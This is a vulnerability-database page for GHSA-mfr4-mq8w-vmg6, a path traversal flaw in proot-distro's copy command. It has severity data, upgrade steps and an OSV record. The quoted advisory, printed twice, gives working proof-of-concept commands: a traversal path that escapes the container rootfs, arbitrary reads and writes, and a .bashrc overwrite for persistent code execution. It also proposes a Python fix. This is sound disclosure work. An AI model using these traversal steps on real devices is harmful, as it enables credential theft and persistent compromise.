GHSA-mfr4-mq8w-vmg6: Proot distro Path Traversal Vulnerability

MODERATE
CVSS 6.6
CWE-22
Published
Advisory Summary

GHSA-mfr4-mq8w-vmg6 is a MODERATE (CVSS 6.6) path traversal vulnerability (CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')) affecting Proot distro libraries in the PyPI ecosystem. The issue involves proot-distro has path traversal in proot-distro copy — arbitrary read, write, and persistent code execution outside container rootfs. Remediation is available by upgrading affected packages to version 5.1.0.

GHSA-mfr4-mq8w-vmg6 at a Glance

CVE Identifier N/A
GHSA Identifier GHSA-mfr4-mq8w-vmg6
Severity MODERATE
CVSS v3.1 Base Score 6.6
CWE Classification CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')
Affected Product Proot distro
Package Ecosystem PyPI
Published Date
Last Updated

Security Impact

CVSS: 6.6

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N).

Attack Vector Local (AV:L)
Attack Complexity Low (AC:L)
Privileges Required Low (PR:L)
User Interaction Required (UI:R)
Scope Unchanged (S:U)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix GHSA-mfr4-mq8w-vmg6

To remediate this vulnerability, upgrade all affected Proot distro dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

proot-distro fixed: 5.1.0
pip install proot-distro>=5.1.0
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

pip show proot-distro

How to Check if You Are Affected

To determine whether your Python environment is affected by GHSA-mfr4-mq8w-vmg6, inspect your installed packages using pip:

pip show proot-distro

Analyze the terminal output to locate any version of Proot distro in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 5.1.0), your application is affected.

Note: The pip show proot-distro command checks currently installed packages in your active Python environment.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal'), where the product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. In Proot distro, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1> <h2>Repository</h2> <p>https://github.com/termux/proot-distro</p> <p><strong>Maintainer:</strong> @sylirre</p> <hr> <h2>Affected Component</h2> <ul> <li><strong>Package:</strong> proot-distro</li> <li><strong>Affected command:</strong> <code>copy</code></li> <li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li> <li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li> </ul> <hr> <h2>Affected Versions</h2> Component | Version -- | -- proot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19) Test distro | Ubuntu 25.10 "Questing Quokka" (ubuntu alias) Architecture | aarch64 Device | Samsung A23 Package source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64 <hr> <h2>Proof of Concept</h2> <p>All tests were performed using only self-owned files and harmless marker data. No root was used. No third-party data was involved. The <code>.bashrc</code> overwritten during testing was immediately restored.</p> <h3>Step 1 — Setup</h3> <pre><code>rm -rf ~/poc mkdir -p ~/poc </code></pre> <hr> <h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3> <pre><code>echo "ORIGINAL" &gt; ~/poc/target.txt echo "PWNED_BY_PROOT_DISTRO" &gt; ~/poc/evil.txt proot-distro copy \ ~/poc/evil.txt \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt" </code></pre> <p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt' [*] Destination: '/data/data/com.termux/files/home/poc/target.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/target.txt → PWNED_BY_PROOT_DISTRO </code></pre> <p>This confirms that the destination resolved to a path outside the container rootfs and the file was overwritten successfully.</p> <hr> <h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3> <pre><code>echo "TOP_SECRET" &gt; ~/poc/secret.txt proot-distro copy \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt" \ ~/poc/read_result.txt </code></pre> <p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/secret.txt' [*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification:</p> <pre><code>cat ~/poc/read_result.txt → TOP_SECRET </code></pre> <p>This confirms that the source path resolved to a file outside the container rootfs and its contents were successfully copied to a host-side destination.</p> <hr> <h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3> <pre><code>printf 'echo VULN_TRIGGERED &gt; ~/poc/proof.txt\n' &gt; ~/poc/payload.sh proot-distro copy ~/poc/payload.sh \ "ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc" </code></pre> <p>Observed output:</p> <pre><code>[*] Source: '/data/data/com.termux/files/home/poc/payload.sh' [*] Destination: '/data/data/com.termux/files/home/.bashrc' [*] Copying files, this may take a while... [*] Finished copying files. </code></pre> <p>Verification before restart:</p> <pre><code>cat ~/.bashrc → echo VULN_TRIGGERED &gt; ~/poc/proof.txt </code></pre> <p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and executed the payload automatically:</p> <pre><code>cat ~/poc/proof.txt → VULN_TRIGGERED </code></pre> <p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes automatically on the next shell launch, resulting in persistent local code execution within the Termux app context.</p> <hr> <h2>Attack Scenario</h2> <p>The most realistic exploitation path is a confused deputy scenario: a community script, Termux plugin, or automated tool calls <code>proot-distro copy</code> with a path derived from untrusted input. The attacker supplies a crafted container path. The tool resolves it to a host-side location and reads or writes the file without any boundary check. The user sees normal command output and no indication that a file outside the container was touched.</p> <p>On a real device with SSH keys or stored credentials in the Termux home directory, the read primitive allows silent credential theft. The write primitive to <code>.bashrc</code> allows persistent code execution triggered on next login.</p> <hr> <h2>Proposed Fix</h2> <p>After resolving the container-relative path, verify that the canonical result remains inside the container rootfs before allowing any read or write operation. Example mitigation pattern in Python:</p> <pre><code>import os def safe_resolve(rootfs, container_path): candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/'))) root = os.path.realpath(rootfs) if candidate != root and not candidate.startswith(root + os.sep): raise ValueError("path traversal detected: resolved path escapes rootfs") return candidate </code></pre> <p>This check must be applied to both the source and destination paths in the <code>copy</code> subcommand.</p> <hr> <h2>Additional Notes</h2> <ul> <li>This issue was reproduced on the official Termux release from https://packages-cf.termux.dev, not a fork.</li> <li>No root access was used at any point during testing.</li> <li>All test files were self-owned and contained only harmless marker data.</li> <li>The <code>.bashrc</code> overwritten during testing was immediately restored after verification.</li> </ul></body></html>

GHSA-mfr4-mq8w-vmg6 Affected Proot distro Versions

1 component(s)
Fixed Versions:
5.1.0
Product / Package Ecosystem Affected Versions Fixed Version
proot-distro
PyPI
< 5.1.0
5.1.0

References

Frequently Asked Questions

What is GHSA-mfr4-mq8w-vmg6?
GHSA-mfr4-mq8w-vmg6 is a security vulnerability in Proot distro involving PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal').
Which Proot distro versions are affected?
Affected versions include releases prior to 5.1.0 across affected packages: proot-distro.
What version fixes GHSA-mfr4-mq8w-vmg6?
Upgrading to 5.1.0 (or the latest patched release for your respective branch) resolves the vulnerability.
Is proot-distro affected?
Yes, proot-distro is affected in releases prior to 5.1.0. Upgrade your dependency to 5.1.0 or later.
What is the CVSS score of GHSA-mfr4-mq8w-vmg6?
GHSA-mfr4-mq8w-vmg6 has a CVSS v3.1 base score of 6.6 (MODERATE) with vector string CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N.
What CWE is associated with GHSA-mfr4-mq8w-vmg6?
GHSA-mfr4-mq8w-vmg6 is classified under CWE-22: Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') (The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory.).
How can I check PyPI dependencies for GHSA-mfr4-mq8w-vmg6?
Run the dependency tree command: 'pip show proot-distro'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-mfr4-mq8w-vmg6",
  "modified" : "2026-07-17T20:25:37Z",
  "published" : "2026-07-17T20:25:37Z",
  "aliases" : [ ],
  "summary" : "PRoot-Distro has Path Traversal in proot-distro copy — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs",
  "details" : "<html><head></head><body><h1>Path Traversal in <code>proot-distro copy</code> — Arbitrary Read, Write, and Persistent Code Execution Outside Container Rootfs</h1>\n<h2>Repository</h2>\n<p>https://github.com/termux/proot-distro</p>\n<p><strong>Maintainer:</strong> @sylirre</p>\n<hr>\n<h2>Affected Component</h2>\n<ul>\n<li><strong>Package:</strong> proot-distro</li>\n<li><strong>Affected command:</strong> <code>copy</code></li>\n<li><strong>Attack surface:</strong> Host-side Termux CLI — this is not a guest distro shell issue</li>\n<li><strong>Vulnerability type:</strong> Path Traversal (CWE-22)</li>\n</ul>\n<hr>\n<h2>Affected Versions</h2>\n\nComponent | Version\n-- | --\nproot-distro | 4.38.0 (initially discovered), 5.0.2 (confirmed still affected — tested on 2026-05-19)\nTest distro | Ubuntu 25.10 \"Questing Quokka\" (ubuntu alias)\nArchitecture | aarch64\nDevice | Samsung A23\nPackage source | https://packages-cf.termux.dev/apt/termux-main stable/main aarch64\n\n\n<hr>\n<h2>Proof of Concept</h2>\n<p>All tests were performed using only self-owned files and harmless marker data.\nNo root was used. No third-party data was involved. The <code>.bashrc</code> overwritten\nduring testing was immediately restored.</p>\n<h3>Step 1 — Setup</h3>\n<pre><code>rm -rf ~/poc\nmkdir -p ~/poc\n</code></pre>\n<hr>\n<h3>Step 2 — Arbitrary write (overwrite a file outside the container rootfs)</h3>\n<pre><code>echo \"ORIGINAL\" &gt; ~/poc/target.txt\necho \"PWNED_BY_PROOT_DISTRO\" &gt; ~/poc/evil.txt\n\nproot-distro copy \\\n  ~/poc/evil.txt \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/target.txt\"\n</code></pre>\n<p>Observed output:</p>\n<pre><code>[*] Source: '/data/data/com.termux/files/home/poc/evil.txt'\n[*] Destination: '/data/data/com.termux/files/home/poc/target.txt'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n</code></pre>\n<p>Verification:</p>\n<pre><code>cat ~/poc/target.txt\n→ PWNED_BY_PROOT_DISTRO\n</code></pre>\n<p>This confirms that the destination resolved to a path outside the container\nrootfs and the file was overwritten successfully.</p>\n<hr>\n<h3>Step 3 — Arbitrary read (exfiltrate a file from outside the container rootfs)</h3>\n<pre><code>echo \"TOP_SECRET\" &gt; ~/poc/secret.txt\n\nproot-distro copy \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/poc/secret.txt\" \\\n  ~/poc/read_result.txt\n</code></pre>\n<p>Observed output:</p>\n<pre><code>[*] Source: '/data/data/com.termux/files/home/poc/secret.txt'\n[*] Destination: '/data/data/com.termux/files/home/poc/read_result.txt'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n</code></pre>\n<p>Verification:</p>\n<pre><code>cat ~/poc/read_result.txt\n→ TOP_SECRET\n</code></pre>\n<p>This confirms that the source path resolved to a file outside the container\nrootfs and its contents were successfully copied to a host-side destination.</p>\n<hr>\n<h3>Step 4 — Persistent code execution via <code>.bashrc</code> overwrite</h3>\n<pre><code>printf 'echo VULN_TRIGGERED &gt; ~/poc/proof.txt\\n' &gt; ~/poc/payload.sh\n\nproot-distro copy ~/poc/payload.sh \\\n  \"ubuntu:$(printf '../%.0s' {1..20})data/data/com.termux/files/home/.bashrc\"\n</code></pre>\n<p>Observed output:</p>\n<pre><code>[*] Source: '/data/data/com.termux/files/home/poc/payload.sh'\n[*] Destination: '/data/data/com.termux/files/home/.bashrc'\n[*] Copying files, this may take a while...\n[*] Finished copying files.\n</code></pre>\n<p>Verification before restart:</p>\n<pre><code>cat ~/.bashrc\n→\necho VULN_TRIGGERED &gt; ~/poc/proof.txt\n</code></pre>\n<p>After closing and reopening Termux, the new shell sourced <code>.bashrc</code> and\nexecuted the payload automatically:</p>\n<pre><code>cat ~/poc/proof.txt\n→ VULN_TRIGGERED\n</code></pre>\n<p>This confirms that attacker-controlled content written into <code>.bashrc</code> executes\nautomatically on the next shell launch, resulting in persistent local code\nexecution within the Termux app context.</p>\n<hr>\n<h2>Attack Scenario</h2>\n<p>The most realistic exploitation path is a confused deputy scenario: a community\nscript, Termux plugin, or automated tool calls <code>proot-distro copy</code> with a path\nderived from untrusted input. The attacker supplies a crafted container path.\nThe tool resolves it to a host-side location and reads or writes the file\nwithout any boundary check. The user sees normal command output and no\nindication that a file outside the container was touched.</p>\n<p>On a real device with SSH keys or stored credentials in the Termux home\ndirectory, the read primitive allows silent credential theft. The write\nprimitive to <code>.bashrc</code> allows persistent code execution triggered on next login.</p>\n<hr>\n<h2>Proposed Fix</h2>\n<p>After resolving the container-relative path, verify that the canonical result\nremains inside the container rootfs before allowing any read or write operation.\nExample mitigation pattern in Python:</p>\n<pre><code>import os\n\ndef safe_resolve(rootfs, container_path):\n    candidate = os.path.realpath(os.path.join(rootfs, container_path.lstrip('/')))\n    root = os.path.realpath(rootfs)\n    if candidate != root and not candidate.startswith(root + os.sep):\n        raise ValueError(\"path traversal detected: resolved path escapes rootfs\")\n    return candidate\n</code></pre>\n<p>This check must be applied to both the source and destination paths in the\n<code>copy</code> subcommand.</p>\n<hr>\n<h2>Additional Notes</h2>\n<ul>\n<li>This issue was reproduced on the official Termux release from\nhttps://packages-cf.termux.dev, not a fork.</li>\n<li>No root access was used at any point during testing.</li>\n<li>All test files were self-owned and contained only harmless marker data.</li>\n<li>The <code>.bashrc</code> overwritten during testing was immediately restored after\nverification.</li>\n</ul></body></html>",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:H/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "proot-distro"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "5.1.0"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/termux/proot-distro/security/advisories/GHSA-mfr4-mq8w-vmg6"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/termux/proot-distro"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/termux/proot-distro/releases/tag/v5.1.0"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-17T20:25:37Z",
    "nvd_published_at" : null
  }
}